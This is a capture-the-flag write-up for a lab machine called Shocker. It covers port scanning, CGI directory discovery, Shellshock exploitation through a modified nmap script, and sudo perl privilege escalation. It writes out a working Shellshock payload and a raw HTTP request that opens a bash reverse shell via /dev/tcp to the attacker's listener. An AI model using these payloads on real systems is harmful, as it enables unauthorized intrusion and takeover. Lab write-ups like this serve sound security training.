Shocker Writeup

0x01 Reconnaissance
All we have is an IP address, so what else is there to do? Start nmap.
1. TCP Scan
nmap -A -p- -oA nmap/tcp 10.10.10.56
Two open ports found.
- 80: apache 2.4.18, possibly a vulnerable version; a web page with no title
- 2222: OpenSSH 7.2p2, running on ubuntu linux

2. UDP Scan
nmap -sU -A -p- -oA nmap/udp 10.10.10.56
No results.
Open ports: tcp 80,2222.
0x02 Exploitation
Work through the ports one by one.
1. Port 80
Google and nmap turn up nothing useful for apache 2.4.18, so the web application is the only lead for now. Open the application on port 80 in a browser. It has a home page with an image and no functional buttons. There are no clues in the console or in the home page's HTML.

With no entry point yet, scan the directories. dirbuster's default wordlist returns only these results.

- icon: image directory - cgi-bin: Common Gateway Interface; there may be a CGI vulnerability
CGI lets users run scripts through a browser. We need the path to an actual script, usually under /cgi-bin/*. Run another scan from that base URL, using the extensions .php,.sh,.py,.cgi,.pl.

There is a script at /cgi-bin/user.sh.
Manual exploitation
Open http://10.10.10.56/cgi-bin/user.sh in the browser and capture the request with burpsuite. It downloads user.sh, though I have no idea what use that is.

The CGI exploit puts a function in a request header, followed by the command to execute. Constructing it is a bit fiddly, and I cannot be bothered to do it by hand, so I use nmap. Looking up the vulnerability gives the name shellshock, which also fits the box's name. Search for that.
cd /usr/share/nmap/scripts
ll | grep shellshock

Even without knowing the name, a keyword search works. Searching for the URL parameter finds a matching script.
cd /usr/share/nmap/scripts
grep "cgi-bin" -R ./ | grep -v cve

Find the usage instructions in the script.

Run the script against burpsuite:8080, and configure burpsuite:8080 to redirect to 10.10.10.56:80. This sends the scan through Burp, where the requests are recorded for later debugging.
nmap -sV -p8080 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 127.0.0.1

What? The scan did not find it?!

Stay calm and inspect the actual requests. The script injects sh commands into three headers, and their output appears in the response. There is RCE.

#### Formatting traps
Another entry below it showslsreturning a500error. Investigation turns up several formatting traps: the wrong format produces no output or an error.
Here, a bug in the nmap script leaves an echo out of the payload and breaks the scan.
>
- To get proper output, putecho;immediately after() { :;};, then the command, such as/bin/ls.
- Use the command's absolute path. For example, changelsto/bin/ls.
>
The correct payload here is () { :;}; echo; /bin/ls /.
>
Modify the nmap script by moving the echo; from the empty-cmd case to the line below.
>
Test withwhoami. It returnsshelly, and the scan now works.
``` java
nmap -sV -p8080 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=/usr/bin/whoami 127.0.0.1
```
Start a listener on port 4444 in Kali and send a reverse shell command. This gives us a shell as the ordinary user shelly.
GET /cgi-bin/user.sh HTTP/1.1
Referer: () { :;}; echo;/bin/bash -i >& /dev/tcp/10.10.14.2/4444 0>&1
Host: localhost:8080
Connection: close

MSF
This is fairly simple. I will fill it in later.
2. Port 2222
Did not investigate this one, haha.
0x03 Privilege escalation
Check the sudo permissions with sudo -l. We can run perl scripts without a password. That will do.

In the shell we just obtained, use sudo to run a Perl one-liner that starts /bin/bash. This gives us root.
sudo perl -e 'exec("/bin/bash")'





